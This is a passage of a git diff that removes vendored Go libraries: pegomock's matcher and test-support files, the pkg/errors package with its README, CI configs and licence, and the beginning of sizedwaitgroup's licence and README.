!arg { - panic(fmt.Sprintf(message, a...)) - } -} diff --git a/vendor/github.com/petergtz/pegomock/invocation_count_matchers.go b/vendor/github.com/petergtz/pegomock/invocation_count_matchers.go deleted file mode 100644 index 7841b3a9b0..0000000000 --- a/vendor/github.com/petergtz/pegomock/invocation_count_matchers.go +++ /dev/null @@ -1,39 +0,0 @@ -// Copyright 2015 Peter Goetz -// -// Licensed under the Apache License, Version 2.0 (the "License"); -// you may not use this file except in compliance with the License. -// You may obtain a copy of the License at -// -// http://www.apache.org/licenses/LICENSE-2.0 -// -// Unless required by applicable law or agreed to in writing, software -// distributed under the License is distributed on an "AS IS" BASIS, -// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. -// See the License for the specific language governing permissions and -// limitations under the License. - -package pegomock - -func Times(numDesiredInvocations int) *EqMatcher { - return &EqMatcher{Value: numDesiredInvocations} -} - -func AtLeast(numDesiredInvocations int) *AtLeastIntMatcher { - return &AtLeastIntMatcher{Value: numDesiredInvocations} -} - -func AtMost(numDesiredInvocations int) *AtMostIntMatcher { - return &AtMostIntMatcher{Value: numDesiredInvocations} -} - -func Never() *EqMatcher { - return &EqMatcher{Value: 0} -} - -func Once() *EqMatcher { - return &EqMatcher{Value: 1} -} - -func Twice() *EqMatcher { - return &EqMatcher{Value: 2} -} diff --git a/vendor/github.com/petergtz/pegomock/matcher.go b/vendor/github.com/petergtz/pegomock/matcher.go deleted file mode 100644 index eb518d731c..0000000000 --- a/vendor/github.com/petergtz/pegomock/matcher.go +++ /dev/null @@ -1,103 +0,0 @@ -package pegomock - -import ( - "fmt" - "reflect" - - "github.com/petergtz/pegomock/internal/verify" - "sync" -) - -type EqMatcher struct { - Value Param - actual Param - sync.Mutex -} - -func (matcher *EqMatcher) Matches(param Param) bool { - matcher.Lock() - defer matcher.Unlock() - - matcher.actual = param - return reflect.DeepEqual(matcher.Value, param) -} - -func (matcher *EqMatcher) FailureMessage() string { - return fmt.Sprintf("Expected: %v; but got: %v", matcher.Value, matcher.actual) -} - -func (matcher *EqMatcher) String() string { - return fmt.Sprintf("Eq(%v)", matcher.Value) -} - -type AnyMatcher struct { - Type reflect.Type - actual reflect.Type - sync.Mutex -} - -func NewAnyMatcher(typ reflect.Type) *AnyMatcher { - verify.Argument(typ != nil, "Must provide a non-nil type") - return &AnyMatcher{Type: typ} -} - -func (matcher *AnyMatcher) Matches(param Param) bool { - matcher.Lock() - defer matcher.Unlock() - - matcher.actual = reflect.TypeOf(param) - if matcher.actual == nil { - switch matcher.Type.Kind() { - case reflect.Chan, reflect.Func, reflect.Interface, reflect.Map, - reflect.Ptr, reflect.Slice, reflect.UnsafePointer: - return true - default: - return false - } - } - return matcher.actual.AssignableTo(matcher.Type) -} - -func (matcher *AnyMatcher) FailureMessage() string { - return fmt.Sprintf("Expected: %v; but got: %v", matcher.Type, matcher.actual) -} - -func (matcher *AnyMatcher) String() string { - return fmt.Sprintf("Any(%v)", matcher.Type) -} - -type AtLeastIntMatcher struct { - Value int - actual int -} - -func (matcher *AtLeastIntMatcher) Matches(param Param) bool { - matcher.actual = param.(int) - return param.(int) >= matcher.Value -} - -func (matcher *AtLeastIntMatcher) FailureMessage() string { - return fmt.Sprintf("Expected: at least %v; but got: %v", matcher.Value, matcher.actual) -} - -func (matcher *AtLeastIntMatcher) String() string { - return fmt.Sprintf("AtLeast(%v)", matcher.Value) -} - -type AtMostIntMatcher struct { - Value int - actual int -} - -func (matcher *AtMostIntMatcher) Matches(param Param) bool { - matcher.actual = param.(int) - return param.(int) <= matcher.Value -} - -func (matcher *AtMostIntMatcher) FailureMessage() string { - return fmt.Sprintf("Expected: at most %v; but got: %v", matcher.Value, matcher.actual) -} - -func (matcher *AtMostIntMatcher) String() string { - return fmt.Sprintf("AtMost(%v)", matcher.Value) -} diff --git a/vendor/github.com/petergtz/pegomock/matcher_factories.go b/vendor/github.com/petergtz/pegomock/matcher_factories.go deleted file mode 100644 index 1691515f4a..0000000000 --- a/vendor/github.com/petergtz/pegomock/matcher_factories.go +++ /dev/null @@ -1,276 +0,0 @@ -package pegomock - -import ( - "reflect" -) - -func EqBool(value bool) bool { - RegisterMatcher(&EqMatcher{Value: value}) - return false -} - -func AnyBool() bool { - RegisterMatcher(NewAnyMatcher(reflect.TypeOf((bool)(false)))) - return false -} - -func AnyBoolSlice() []bool { - RegisterMatcher(NewAnyMatcher(reflect.SliceOf(reflect.TypeOf((bool)(false))))) - return nil -} - -func EqInt(value int) int { - RegisterMatcher(&EqMatcher{Value: value}) - return 0 -} - -func AnyInt() int { - RegisterMatcher(NewAnyMatcher(reflect.TypeOf((int)(0)))) - return 0 -} - -func AnyIntSlice() []int { - RegisterMatcher(NewAnyMatcher(reflect.SliceOf(reflect.TypeOf((int)(0))))) - return nil -} - -func EqInt8(value int8) int8 { - RegisterMatcher(&EqMatcher{Value: value}) - return 0 -} - -func AnyInt8() int8 { - RegisterMatcher(NewAnyMatcher(reflect.TypeOf((int8)(0)))) - return 0 -} - -func AnyInt8Slice() []int8 { - RegisterMatcher(NewAnyMatcher(reflect.SliceOf(reflect.TypeOf((int8)(0))))) - return nil -} - -func EqInt16(value int16) int16 { - RegisterMatcher(&EqMatcher{Value: value}) - return 0 -} - -func AnyInt16() int16 { - RegisterMatcher(NewAnyMatcher(reflect.TypeOf((int16)(0)))) - return 0 -} - -func AnyInt16Slice() []int16 { - RegisterMatcher(NewAnyMatcher(reflect.SliceOf(reflect.TypeOf((int16)(0))))) - return nil -} - -func EqInt32(value int32) int32 { - RegisterMatcher(&EqMatcher{Value: value}) - return 0 -} - -func AnyInt32() int32 { - RegisterMatcher(NewAnyMatcher(reflect.TypeOf((int32)(0)))) - return 0 -} - -func AnyInt32Slice() []int32 { - RegisterMatcher(NewAnyMatcher(reflect.SliceOf(reflect.TypeOf((int32)(0))))) - return nil -} - -func EqInt64(value int64) int64 { - RegisterMatcher(&EqMatcher{Value: value}) - return 0 -} - -func AnyInt64() int64 { - RegisterMatcher(NewAnyMatcher(reflect.TypeOf((int64)(0)))) - return 0 -} - -func AnyInt64Slice() []int64 { - RegisterMatcher(NewAnyMatcher(reflect.SliceOf(reflect.TypeOf((int64)(0))))) - return nil -} - -func EqUint(value uint) uint { - RegisterMatcher(&EqMatcher{Value: value}) - return 0 -} - -func AnyUint() uint { - RegisterMatcher(NewAnyMatcher(reflect.TypeOf((uint)(0)))) - return 0 -} - -func AnyUintSlice() []uint { - RegisterMatcher(NewAnyMatcher(reflect.SliceOf(reflect.TypeOf((uint)(0))))) - return nil -} - -func EqUint8(value uint8) uint8 { - RegisterMatcher(&EqMatcher{Value: value}) - return 0 -} - -func AnyUint8() uint8 { - RegisterMatcher(NewAnyMatcher(reflect.TypeOf((uint8)(0)))) - return 0 -} - -func AnyUint8Slice() []uint8 { - RegisterMatcher(NewAnyMatcher(reflect.SliceOf(reflect.TypeOf((uint8)(0))))) - return nil -} - -func EqUint16(value uint16) uint16 { - RegisterMatcher(&EqMatcher{Value: value}) - return 0 -} - -func AnyUint16() uint16 { - RegisterMatcher(NewAnyMatcher(reflect.TypeOf((uint16)(0)))) - return 0 -} - -func AnyUint16Slice() []uint16 { - RegisterMatcher(NewAnyMatcher(reflect.SliceOf(reflect.TypeOf((uint16)(0))))) - return nil -} - -func EqUint32(value uint32) uint32 { - RegisterMatcher(&EqMatcher{Value: value}) - return 0 -} - -func AnyUint32() uint32 { - RegisterMatcher(NewAnyMatcher(reflect.TypeOf((uint32)(0)))) - return 0 -} - -func AnyUint32Slice() []uint32 { - RegisterMatcher(NewAnyMatcher(reflect.SliceOf(reflect.TypeOf((uint32)(0))))) - return nil -} - -func EqUint64(value uint64) uint64 { - RegisterMatcher(&EqMatcher{Value: value}) - return 0 -} - -func AnyUint64() uint64 { - RegisterMatcher(NewAnyMatcher(reflect.TypeOf((uint64)(0)))) - return 0 -} - -func AnyUint64Slice() []uint64 { - RegisterMatcher(NewAnyMatcher(reflect.SliceOf(reflect.TypeOf((uint64)(0))))) - return nil -} - -func EqUintptr(value uintptr) uintptr { - RegisterMatcher(&EqMatcher{Value: value}) - return 0 -} - -func AnyUintptr() uintptr { - RegisterMatcher(NewAnyMatcher(reflect.TypeOf((uintptr)(0)))) - return 0 -} - -func AnyUintptrSlice() []uintptr { - RegisterMatcher(NewAnyMatcher(reflect.SliceOf(reflect.TypeOf((uintptr)(0))))) - return nil -} - -func EqFloat32(value float32) float32 { - RegisterMatcher(&EqMatcher{Value: value}) - return 0 -} - -func AnyFloat32() float32 { - RegisterMatcher(NewAnyMatcher(reflect.TypeOf((float32)(0)))) - return 0 -} - -func AnyFloat32Slice() []float32 { - RegisterMatcher(NewAnyMatcher(reflect.SliceOf(reflect.TypeOf((float32)(0))))) - return nil -} - -func EqFloat64(value float64) float64 { - RegisterMatcher(&EqMatcher{Value: value}) - return 0 -} - -func AnyFloat64() float64 { - RegisterMatcher(NewAnyMatcher(reflect.TypeOf((float64)(0)))) - return 0 -} - -func AnyFloat64Slice() []float64 { - RegisterMatcher(NewAnyMatcher(reflect.SliceOf(reflect.TypeOf((float64)(0))))) - return nil -} - -func EqComplex64(value complex64) complex64 { - RegisterMatcher(&EqMatcher{Value: value}) - return 0 -} - -func AnyComplex64() complex64 { - RegisterMatcher(NewAnyMatcher(reflect.TypeOf((complex64)(0)))) - return 0 -} - -func AnyComplex64Slice() []complex64 { - RegisterMatcher(NewAnyMatcher(reflect.SliceOf(reflect.TypeOf((complex64)(0))))) - return nil -} - -func EqComplex128(value complex128) complex128 { - RegisterMatcher(&EqMatcher{Value: value}) - return 0 -} - -func AnyComplex128() complex128 { - RegisterMatcher(NewAnyMatcher(reflect.TypeOf((complex128)(0)))) - return 0 -} - -func AnyComplex128Slice() []complex128 { - RegisterMatcher(NewAnyMatcher(reflect.SliceOf(reflect.TypeOf((complex128)(0))))) - return nil -} - -func EqString(value string) string { - RegisterMatcher(&EqMatcher{Value: value}) - return "" -} - -func AnyString() string { - RegisterMatcher(NewAnyMatcher(reflect.TypeOf((string)("")))) - return "" -} - -func AnyStringSlice() []string { - RegisterMatcher(NewAnyMatcher(reflect.SliceOf(reflect.TypeOf((string)(""))))) - return nil -} - -func EqInterface(value interface{}) interface{} { - RegisterMatcher(&EqMatcher{Value: value}) - return nil -} - -func AnyInterface() interface{} { - RegisterMatcher(NewAnyMatcher(reflect.TypeOf((*(interface{}))(nil)).Elem())) - return nil -} - -func AnyInterfaceSlice() []interface{} { - RegisterMatcher(NewAnyMatcher(reflect.SliceOf(reflect.TypeOf((*(interface{}))(nil)).Elem()))) - return nil -} - \ No newline at end of file diff --git a/vendor/github.com/petergtz/pegomock/testing_t_support.go b/vendor/github.com/petergtz/pegomock/testing_t_support.go deleted file mode 100644 index a10f93e38b..0000000000 --- a/vendor/github.com/petergtz/pegomock/testing_t_support.go +++ /dev/null @@ -1,63 +0,0 @@ -// Copyright (c) 2013-2014 Onsi Fakhouri -// -// Permission is hereby granted, free of charge, to any person obtaining -// a copy of this software and associated documentation files (the -// "Software"), to deal in the Software without restriction, including -// without limitation the rights to use, copy, modify, merge, publish, -// distribute, sublicense, and/or sell copies of the Software, and to -// permit persons to whom the Software is furnished to do so, subject to -// the following conditions: -// -// The above copyright notice and this permission notice shall be -// included in all copies or substantial portions of the Software. -// -// THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, -// EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF -// MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND -// NONINFRINGEMENT. IN NO EVENT SHALL THE AUTHORS OR COPYRIGHT HOLDERS BE -// LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER IN AN ACTION -// OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, OUT OF OR IN CONNECTION -// WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE SOFTWARE. - -package pegomock - -import ( - "regexp" - "runtime/debug" - "strings" -) - -type testingT interface { - Errorf(format string, args ...interface{}) -} - -func BuildTestingTFailHandler(t testingT) FailHandler { - return func(message string, callerSkip ...int) { - skip := 1 - if len(callerSkip) > 0 { - skip = callerSkip[0] - } - stackTrace := pruneStack(string(debug.Stack()), skip) - t.Errorf("\n%s\n%s", stackTrace, message) - } -} - -func pruneStack(fullStackTrace string, skip int) string { - stack := strings.Split(fullStackTrace, "\n") - if len(stack) > 2*(skip+1) { - stack = stack[2*(skip+1):] - } - prunedStack := []string{} - re := regexp.MustCompile(`\/ginkgo\/|\/pkg\/testing\/|\/pkg\/runtime\/`) - for i := 0; i < len(stack)/2; i++ { - if !re.Match([]byte(stack[i*2])) { - prunedStack = append(prunedStack, stack[i*2]) - prunedStack = append(prunedStack, stack[i*2+1]) - } - } - return strings.Join(prunedStack, "\n") -} - -func WithT(t testingT) Option { - return WithFailHandler(BuildTestingTFailHandler(t)) -} diff --git a/vendor/github.com/petergtz/pegomock/types.go b/vendor/github.com/petergtz/pegomock/types.go deleted file mode 100644 index 42ef378493..0000000000 --- a/vendor/github.com/petergtz/pegomock/types.go +++ /dev/null @@ -1,21 +0,0 @@ -package pegomock - -type FailHandler func(message string, callerSkip ...int) - -type Mock interface { - SetFailHandler(FailHandler) - FailHandler() FailHandler -} -type Param interface{} -type ReturnValue interface{} -type ReturnValues []ReturnValue - -type Option interface{ Apply(Mock) } - -type OptionFunc func(mock Mock) - -func (f OptionFunc) Apply(mock Mock) { f(mock) } - -func WithFailHandler(fail FailHandler) Option { - return OptionFunc(func(mock Mock) { mock.SetFailHandler(fail) }) -} diff --git a/vendor/github.com/pkg/errors/.gitignore b/vendor/github.com/pkg/errors/.gitignore deleted file mode 100644 index daf913b1b3..0000000000 --- a/vendor/github.com/pkg/errors/.gitignore +++ /dev/null @@ -1,24 +0,0 @@ -# Compiled Object files, Static and Dynamic libs (Shared Objects) -*.o -*.a -*.so - -# Folders -_obj -_test - -# Architecture specific extensions/prefixes -*.[568vq] -[568vq].out - -*.cgo1.go -*.cgo2.c -_cgo_defun.c -_cgo_gotypes.go -_cgo_export.* - -_testmain.go - -*.exe -*.test -*.prof diff --git a/vendor/github.com/pkg/errors/.travis.yml b/vendor/github.com/pkg/errors/.travis.yml deleted file mode 100644 index 588ceca183..0000000000 --- a/vendor/github.com/pkg/errors/.travis.yml +++ /dev/null @@ -1,11 +0,0 @@ -language: go -go_import_path: github.com/pkg/errors -go: - - 1.4.3 - - 1.5.4 - - 1.6.2 - - 1.7.1 - - tip - -script: - - go test -v ./... diff --git a/vendor/github.com/pkg/errors/LICENSE b/vendor/github.com/pkg/errors/LICENSE deleted file mode 100644 index 835ba3e755..0000000000 --- a/vendor/github.com/pkg/errors/LICENSE +++ /dev/null @@ -1,23 +0,0 @@ -Copyright (c) 2015, Dave Cheney -All rights reserved. - -Redistribution and use in source and binary forms, with or without -modification, are permitted provided that the following conditions are met: - -* Redistributions of source code must retain the above copyright notice, this - list of conditions and the following disclaimer. - -* Redistributions in binary form must reproduce the above copyright notice, - this list of conditions and the following disclaimer in the documentation - and/or other materials provided with the distribution. - -THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" -AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE -IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE -DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT HOLDER OR CONTRIBUTORS BE LIABLE -FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL -DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR -SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER -CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, -OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE -OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE. diff --git a/vendor/github.com/pkg/errors/README.md b/vendor/github.com/pkg/errors/README.md deleted file mode 100644 index 273db3c98a..0000000000 --- a/vendor/github.com/pkg/errors/README.md +++ /dev/null @@ -1,52 +0,0 @@ -# errors [![Travis-CI](https://travis-ci.org/pkg/errors.svg)](https://travis-ci.org/pkg/errors) [![AppVeyor](https://ci.appveyor.com/api/projects/status/b98mptawhudj53ep/branch/master?svg=true)](https://ci.appveyor.com/project/davecheney/errors/branch/master) [![GoDoc](https://godoc.org/github.com/pkg/errors?status.svg)](http://godoc.org/github.com/pkg/errors) [![Report card](https://goreportcard.com/badge/github.com/pkg/errors)](https://goreportcard.com/report/github.com/pkg/errors) - -Package errors provides simple error handling primitives. - -`go get github.com/pkg/errors` - -The traditional error handling idiom in Go is roughly akin to -```go -if err != nil { - return err -} -``` -which applied recursively up the call stack results in error reports without context or debugging information. The errors package allows programmers to add context to the failure path in their code in a way that does not destroy the original value of the error. - -## Adding context to an error - -The errors.Wrap function returns a new error that adds context to the original error. For example -```go -_, err := ioutil.ReadAll(r) -if err != nil { - return errors.Wrap(err, "read failed") -} -``` -## Retrieving the cause of an error - -Using `errors.Wrap` constructs a stack of errors, adding context to the preceding error. Depending on the nature of the error it may be necessary to reverse the operation of errors.Wrap to retrieve the original error for inspection. Any error value which implements this interface can be inspected by `errors.Cause`. -```go -type causer interface { - Cause() error -} -``` -`errors.Cause` will recursively retrieve the topmost error which does not implement `causer`, which is assumed to be the original cause. For example: -```go -switch err := errors.Cause(err).(type) { -case *MyError: - // handle specifically -default: - // unknown error -} -``` - -[Read the package documentation for more information](https://godoc.org/github.com/pkg/errors). - -## Contributing - -We welcome pull requests, bug fixes and issue reports. With that said, the bar for adding new symbols to this package is intentionally set high. - -Before proposing a change, please discuss your change by raising an issue. - -## Licence - -BSD-2-Clause diff --git a/vendor/github.com/pkg/errors/appveyor.yml b/vendor/github.com/pkg/errors/appveyor.yml deleted file mode 100644 index a932eade02..0000000000 --- a/vendor/github.com/pkg/errors/appveyor.yml +++ /dev/null @@ -1,32 +0,0 @@ -version: build-{build}.{branch} - -clone_folder: C:\gopath\src\github.com\pkg\errors -shallow_clone: true # for startup speed - -environment: - GOPATH: C:\gopath - -platform: - - x64 - -# http://www.appveyor.com/docs/installed-software -install: - # some helpful output for debugging builds - - go version - - go env - # pre-installed MinGW at C:\MinGW is 32bit only - # but MSYS2 at C:\msys64 has mingw64 - - set PATH=C:\msys64\mingw64\bin;%PATH% - - gcc --version - - g++ --version - -build_script: - - go install -v ./... - -test_script: - - set PATH=C:\gopath\bin;%PATH% - - go test -v ./... - -#artifacts: -# - path: '%GOPATH%\bin\*.exe' -deploy: off diff --git a/vendor/github.com/pkg/errors/errors.go b/vendor/github.com/pkg/errors/errors.go deleted file mode 100644 index 842ee80456..0000000000 --- a/vendor/github.com/pkg/errors/errors.go +++ /dev/null @@ -1,269 +0,0 @@ -// Package errors provides simple error handling primitives. -// -// The traditional error handling idiom in Go is roughly akin to -// -// if err != nil { -// return err -// } -// -// which applied recursively up the call stack results in error reports -// without context or debugging information. The errors package allows -// programmers to add context to the failure path in their code in a way -// that does not destroy the original value of the error. -// -// Adding context to an error -// -// The errors.Wrap function returns a new error that adds context to the -// original error by recording a stack trace at the point Wrap is called, -// and the supplied message. For example -// -// _, err := ioutil.ReadAll(r) -// if err != nil { -// return errors.Wrap(err, "read failed") -// } -// -// If additional control is required the errors.WithStack and errors.WithMessage -// functions destructure errors.Wrap into its component operations of annotating -// an error with a stack trace and an a message, respectively. -// -// Retrieving the cause of an error -// -// Using errors.Wrap constructs a stack of errors, adding context to the -// preceding error. Depending on the nature of the error it may be necessary -// to reverse the operation of errors.Wrap to retrieve the original error -// for inspection. Any error value which implements this interface -// -// type causer interface { -// Cause() error -// } -// -// can be inspected by errors.Cause. errors.Cause will recursively retrieve -// the topmost error which does not implement causer, which is assumed to be -// the original cause. For example: -// -// switch err := errors.Cause(err).(type) { -// case *MyError: -// // handle specifically -// default: -// // unknown error -// } -// -// causer interface is not exported by this package, but is considered a part -// of stable public API. -// -// Formatted printing of errors -// -// All error values returned from this package implement fmt.Formatter and can -// be formatted by the fmt package. The following verbs are supported -// -// %s print the error. If the error has a Cause it will be -// printed recursively -// %v see %s -// %+v extended format. Each Frame of the error's StackTrace will -// be printed in detail. -// -// Retrieving the stack trace of an error or wrapper -// -// New, Errorf, Wrap, and Wrapf record a stack trace at the point they are -// invoked. This information can be retrieved with the following interface. -// -// type stackTracer interface { -// StackTrace() errors.StackTrace -// } -// -// Where errors.StackTrace is defined as -// -// type StackTrace []Frame -// -// The Frame type represents a call site in the stack trace. Frame supports -// the fmt.Formatter interface that can be used for printing information about -// the stack trace of this error. For example: -// -// if err, ok := err.(stackTracer); ok { -// for _, f := range err.StackTrace() { -// fmt.Printf("%+s:%d", f) -// } -// } -// -// stackTracer interface is not exported by this package, but is considered a part -// of stable public API. -// -// See the documentation for Frame.Format for more details. -package errors - -import ( - "fmt" - "io" -) - -// New returns an error with the supplied message. -// New also records the stack trace at the point it was called. -func New(message string) error { - return &fundamental{ - msg: message, - stack: callers(), - } -} - -// Errorf formats according to a format specifier and returns the string -// as a value that satisfies error. -// Errorf also records the stack trace at the point it was called. -func Errorf(format string, args ...interface{}) error { - return &fundamental{ - msg: fmt.Sprintf(format, args...), - stack: callers(), - } -} - -// fundamental is an error that has a message and a stack, but no caller. -type fundamental struct { - msg string - *stack -} - -func (f *fundamental) Error() string { return f.msg } - -func (f *fundamental) Format(s fmt.State, verb rune) { - switch verb { - case 'v': - if s.Flag('+') { - io.WriteString(s, f.msg) - f.stack.Format(s, verb) - return - } - fallthrough - case 's': - io.WriteString(s, f.msg) - case 'q': - fmt.Fprintf(s, "%q", f.msg) - } -} - -// WithStack annotates err with a stack trace at the point WithStack was called. -// If err is nil, WithStack returns nil. -func WithStack(err error) error { - if err == nil { - return nil - } - return &withStack{ - err, - callers(), - } -} - -type withStack struct { - error - *stack -} - -func (w *withStack) Cause() error { return w.error } - -func (w *withStack) Format(s fmt.State, verb rune) { - switch verb { - case 'v': - if s.Flag('+') { - fmt.Fprintf(s, "%+v", w.Cause()) - w.stack.Format(s, verb) - return - } - fallthrough - case 's': - io.WriteString(s, w.Error()) - case 'q': - fmt.Fprintf(s, "%q", w.Error()) - } -} - -// Wrap returns an error annotating err with a stack trace -// at the point Wrap is called, and the supplied message. -// If err is nil, Wrap returns nil. -func Wrap(err error, message string) error { - if err == nil { - return nil - } - err = &withMessage{ - cause: err, - msg: message, - } - return &withStack{ - err, - callers(), - } -} - -// Wrapf returns an error annotating err with a stack trace -// at the point Wrapf is call, and the format specifier. -// If err is nil, Wrapf returns nil. -func Wrapf(err error, format string, args ...interface{}) error { - if err == nil { - return nil - } - err = &withMessage{ - cause: err, - msg: fmt.Sprintf(format, args...), - } - return &withStack{ - err, - callers(), - } -} - -// WithMessage annotates err with a new message. -// If err is nil, WithMessage returns nil. -func WithMessage(err error, message string) error { - if err == nil { - return nil - } - return &withMessage{ - cause: err, - msg: message, - } -} - -type withMessage struct { - cause error - msg string -} - -func (w *withMessage) Error() string { return w.msg + ": " + w.cause.Error() } -func (w *withMessage) Cause() error { return w.cause } - -func (w *withMessage) Format(s fmt.State, verb rune) { - switch verb { - case 'v': - if s.Flag('+') { - fmt.Fprintf(s, "%+v\n", w.Cause()) - io.WriteString(s, w.msg) - return - } - fallthrough - case 's', 'q': - io.WriteString(s, w.Error()) - } -} - -// Cause returns the underlying cause of the error, if possible. -// An error value has a cause if it implements the following -// interface: -// -// type causer interface { -// Cause() error -// } -// -// If the error does not implement Cause, the original error will -// be returned. If the error is nil, nil will be returned without further -// investigation. -func Cause(err error) error { - type causer interface { - Cause() error - } - - for err != nil { - cause, ok := err.(causer) - if !ok { - break - } - err = cause.Cause() - } - return err -} diff --git a/vendor/github.com/pkg/errors/stack.go b/vendor/github.com/pkg/errors/stack.go deleted file mode 100644 index 6b1f2891a5..0000000000 --- a/vendor/github.com/pkg/errors/stack.go +++ /dev/null @@ -1,178 +0,0 @@ -package errors - -import ( - "fmt" - "io" - "path" - "runtime" - "strings" -) - -// Frame represents a program counter inside a stack frame. -type Frame uintptr - -// pc returns the program counter for this frame; -// multiple frames may have the same PC value. -func (f Frame) pc() uintptr { return uintptr(f) - 1 } - -// file returns the full path to the file that contains the -// function for this Frame's pc. -func (f Frame) file() string { - fn := runtime.FuncForPC(f.pc()) - if fn == nil { - return "unknown" - } - file, _ := fn.FileLine(f.pc()) - return file -} - -// line returns the line number of source code of the -// function for this Frame's pc. -func (f Frame) line() int { - fn := runtime.FuncForPC(f.pc()) - if fn == nil { - return 0 - } - _, line := fn.FileLine(f.pc()) - return line -} - -// Format formats the frame according to the fmt.Formatter interface. -// -// %s source file -// %d source line -// %n function name -// %v equivalent to %s:%d -// -// Format accepts flags that alter the printing of some verbs, as follows: -// -// %+s path of source file relative to the compile time GOPATH -// %+v equivalent to %+s:%d -func (f Frame) Format(s fmt.State, verb rune) { - switch verb { - case 's': - switch { - case s.Flag('+'): - pc := f.pc() - fn := runtime.FuncForPC(pc) - if fn == nil { - io.WriteString(s, "unknown") - } else { - file, _ := fn.FileLine(pc) - fmt.Fprintf(s, "%s\n\t%s", fn.Name(), file) - } - default: - io.WriteString(s, path.Base(f.file())) - } - case 'd': - fmt.Fprintf(s, "%d", f.line()) - case 'n': - name := runtime.FuncForPC(f.pc()).Name() - io.WriteString(s, funcname(name)) - case 'v': - f.Format(s, 's') - io.WriteString(s, ":") - f.Format(s, 'd') - } -} - -// StackTrace is stack of Frames from innermost (newest) to outermost (oldest). -type StackTrace []Frame - -func (st StackTrace) Format(s fmt.State, verb rune) { - switch verb { - case 'v': - switch { - case s.Flag('+'): - for _, f := range st { - fmt.Fprintf(s, "\n%+v", f) - } - case s.Flag('#'): - fmt.Fprintf(s, "%#v", []Frame(st)) - default: - fmt.Fprintf(s, "%v", []Frame(st)) - } - case 's': - fmt.Fprintf(s, "%s", []Frame(st)) - } -} - -// stack represents a stack of program counters. -type stack []uintptr - -func (s *stack) Format(st fmt.State, verb rune) { - switch verb { - case 'v': - switch { - case st.Flag('+'): - for _, pc := range *s { - f := Frame(pc) - fmt.Fprintf(st, "\n%+v", f) - } - } - } -} - -func (s *stack) StackTrace() StackTrace { - f := make([]Frame, len(*s)) - for i := 0; i < len(f); i++ { - f[i] = Frame((*s)[i]) - } - return f -} - -func callers() *stack { - const depth = 32 - var pcs [depth]uintptr - n := runtime.Callers(3, pcs[:]) - var st stack = pcs[0:n] - return &st -} - -// funcname removes the path prefix component of a function's name reported by func.Name(). -func funcname(name string) string { - i := strings.LastIndex(name, "/") - name = name[i+1:] - i = strings.Index(name, ".") - return name[i+1:] -} - -func trimGOPATH(name, file string) string { - // Here we want to get the source file path relative to the compile time - // GOPATH. As of Go 1.6.x there is no direct way to know the compiled - // GOPATH at runtime, but we can infer the number of path segments in the - // GOPATH. We note that fn.Name() returns the function name qualified by - // the import path, which does not include the GOPATH. Thus we can trim - // segments from the beginning of the file path until the number of path - // separators remaining is one more than the number of path separators in - // the function name. For example, given: - // - // GOPATH /home/user - // file /home/user/src/pkg/sub/file.go - // fn.Name() pkg/sub.Type.Method - // - // We want to produce: - // - // pkg/sub/file.go - // - // From this we can easily see that fn.Name() has one less path separator - // than our desired output. We count separators from the end of the file - // path until it finds two more than in the function name and then move - // one character forward to preserve the initial path segment without a - // leading separator. - const sep = "/" - goal := strings.Count(name, sep) + 2 - i := len(file) - for n := 0; n < goal; n++ { - i = strings.LastIndex(file[:i], sep) - if i == -1 { - // not enough separators found, set i so that the slice expression - // below leaves file unmodified - i = -len(sep) - break - } - } - // get back to 0 or trim the leading separator - file = file[i+len(sep):] - return file -} diff --git a/vendor/github.com/remeh/sizedwaitgroup/LICENSE b/vendor/github.com/remeh/sizedwaitgroup/LICENSE deleted file mode 100644 index f703f2ec0a..0000000000 --- a/vendor/github.com/remeh/sizedwaitgroup/LICENSE +++ /dev/null @@ -1,21 +0,0 @@ -The MIT License (MIT) - -Copyright (c) 2018 RÊmy Mathieu - -Permission is hereby granted, free of charge, to any person obtaining a copy -of this software and associated documentation files (the "Software"), to deal -in the Software without restriction, including without limitation the rights -to use, copy, modify, merge, publish, distribute, sublicense, and/or sell -copies of the Software, and to permit persons to whom the Software is -furnished to do so, subject to the following conditions: - -The above copyright notice and this permission notice shall be included in all -copies or substantial portions of the Software. - -THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR -IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, -FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE -AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER -LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, -OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE -SOFTWARE. diff --git a/vendor/github.com/remeh/sizedwaitgroup/README.md b/vendor/github.com/remeh/sizedwaitgroup/README.md deleted file mode 100644 index 4613bc289e..0000000000 --- a/vendor/github.com/remeh/sizedwaitgroup/README.md +++ /dev/null @@ -1,54 +0,0 @@ -# SizedWaitGroup - -[![GoDoc](https://godoc.org/github.com/remeh/sizedwaitgroup?status.svg)](https://godoc.org/github.com/remeh/sizedwaitgroup) - -`SizedWaitGroup` has the same role and API as `sync.WaitGroup` 